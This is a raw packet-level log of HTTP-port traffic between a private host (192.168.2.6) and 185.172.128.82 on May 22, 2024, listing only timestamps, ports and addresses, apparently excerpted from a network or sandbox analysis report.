May 22, 2024 20:06:32.155083895 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.155098915 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.155111074 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.155119896 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.155153990 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.155611992 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.155639887 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.155654907 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.155668974 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.155678988 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.155695915 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.155711889 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.155721903 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.155735016 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.155750036 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.155760050 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.155776024 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.155795097 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.155814886 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.155822039 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.155842066 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.155850887 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.155868053 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.155883074 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.155894041 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.155913115 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.155921936 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.155939102 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.155952930 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.155961037 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.155981064 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.155988932 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.156004906 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.156022072 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.156032085 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.156058073 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.156091928 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.156524897 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.156543016 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.156564951 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.156574011 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.156590939 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.156599045 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.156615973 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.156627893 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.156641960 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.156649113 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.156667948 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.156673908 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.156688929 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.156697035 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.156712055 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.156719923 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.156738043 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.156748056 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.156763077 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.156771898 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.156788111 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.156810999 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.157089949 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.157108068 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.157130957 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.157140970 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.157156944 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.157166958 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.157180071 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.157195091 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.157202959 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.157219887 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.157234907 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.157247066 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.157255888 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.157272100 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.157288074 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.157296896 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.157306910 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.157321930 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.157331944 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.157349110 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.157362938 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.157376051 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.157386065 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.157402039 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.157422066 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.157438993 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.157445908 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.157465935 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.157475948 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.157491922 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.157510042 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.157517910 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.157535076 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.157542944 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.157560110 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.157578945 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.157612085 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.158082962 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.158099890 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.158122063 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.158130884 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.158152103 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.158159018 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.158174038 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.158185959 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.158196926 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.158212900 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.158221960 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.158237934 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.158256054 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.158262968 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.158278942 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.158286095 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.158299923 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.158310890 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.158319950 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.158335924 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.158353090 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.158366919 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.158375025 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.158391953 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.158406019 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.158421040 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.158430099 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.158459902 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.158627033 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.158644915 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.158675909 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.158694029 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.434468985 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.434561014 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.434604883 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.434722900 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.434752941 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.434803963 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.434823036 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.434869051 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.434900045 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.434923887 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.434958935 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.435013056 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.435039043 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.435086966 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.435105085 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.435152054 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.435170889 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.435219049 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.435234070 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.435281038 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.435338020 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.435360909 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.435406923 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.435452938 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.435468912 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.435513973 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.435556889 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.435583115 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.435610056 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.435626984 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.435677052 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.435695887 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.435746908 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.435762882 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.435796022 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.435823917 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.435868979 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.435914040 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.435935974 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.435976982 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.436000109 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.436045885 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.436098099 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.436110973 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.436152935 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.436198950 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.436230898 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.436263084 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.436281919 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.436333895 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.436347008 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.436382055 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.436409950 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.436456919 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.436474085 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.436520100 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.436537981 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.436592102 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.436619043 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.436671972 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.436686993 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.436718941 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.436748028 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.436804056 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.436817884 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.436850071 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.436877012 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.436928988 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.436942101 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.436979055 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.437004089 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.437047958 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.437068939 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.437100887 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.437128067 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.437172890 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.437194109 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.437235117 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.437278032 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.437302113 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.437325954 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.437355042 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.437402010 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.437418938 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.437468052 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.437480927 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.437514067 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.437544107 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.437601089 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.437614918 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.437652111 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.437676907 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.437737942 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.437760115 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.437796116 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.437841892 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.437868118 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.437900066 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.437923908 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.437968969 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.437994003 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.438016891 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.438046932 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.438092947 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.438123941 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.438173056 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.438195944 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.438215971 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.438242912 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.438271046 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.438319921 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.438363075 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.438400030 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.438415051 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.438446999 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.438477993 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.438548088 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.438560963 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.438592911 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.438621998 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.438673973 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.438687086 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.438724041 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.438747883 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.438802004 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.438816071 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.438857079 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.438908100 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.438920975 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.438961983 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.439006090 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.439027071 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.439069033 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.439119101 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.439131975 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.439167023 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.439210892 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.439256907 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.439306974 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.439320087 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.439364910 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.439415932 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.439429998 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.439465046 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.439488888 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.439532995 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.439575911 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.439596891 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.439637899 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.439688921 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.439702988 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.439737082 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.439764023 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.439809084 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.439852953 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.439872980 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.439914942 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.439965963 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.439980030 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.440020084 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.440063953 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.440089941 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.440128088 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.440180063 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.440193892 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.440226078 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.440253019 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.440296888 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.440340996 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.440363884 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.440382004 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.440418005 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.440462112 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.440511942 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.440526009 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.440567017 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.440609932 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.440630913 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.440664053 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.440691948 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.440735102 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.440787077 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.440799952 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.440841913 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.440885067 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.440907955 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.440973043 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.441026926 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.441040993 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.441076040 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.441101074 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.441147089 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.441198111 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.441211939 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.441252947 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.441299915 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.441313982 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.441334963 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.441355944 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.441406012 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.441468000 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.441519976 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.441540956 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.441540956 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.441570997 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.441601038 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.441648006 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.441664934 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.441709995 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.441726923 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.441772938 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.441791058 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.441836119 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.441879988 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.441898108 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.441943884 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.441989899 CEST	49708	80	192.168.2.6	185.172.128.82
May 22, 2024 20:06:32.442006111 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.442059040 CEST	80	49708	185.172.128.82	192.168.2.6
May 22, 2024 20:06:32.442074060 CEST	49708	80	192.168.2.6	185.172.128.82
